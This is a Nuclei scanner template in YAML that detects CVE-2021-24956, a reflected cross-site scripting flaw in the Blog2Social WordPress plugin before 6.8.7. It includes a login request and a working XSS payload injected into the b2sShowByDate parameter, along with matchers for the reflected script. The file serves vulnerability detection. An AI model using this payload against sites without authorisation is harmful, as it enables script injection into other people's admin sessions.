62 lines
1.9 KiB
YAML
62 lines
1.9 KiB
YAML
id: CVE-2021-24956
|
|
|
|
info:
|
|
name: Blog2Social < 6.8.7 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
|
|
remediation: Fixed in version 6.8.7
|
|
reference:
|
|
- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24956
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00106
|
|
epss-percentile: 0.42912
|
|
cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: adenion
|
|
product: blog2social
|
|
framework: wordpress
|
|
tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>" name='
|
|
- 'Your Activity'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502202ebaf294d2f3b98d5c29e33546c971b0706047fc161ae82bd5c88bfcab6186c1022100fa81eee5ef030f2aad1f0ec14796720fbe58712acb0f3bcd831638ddd60b807e:922c64590222798bb761d5b6d8e72950
|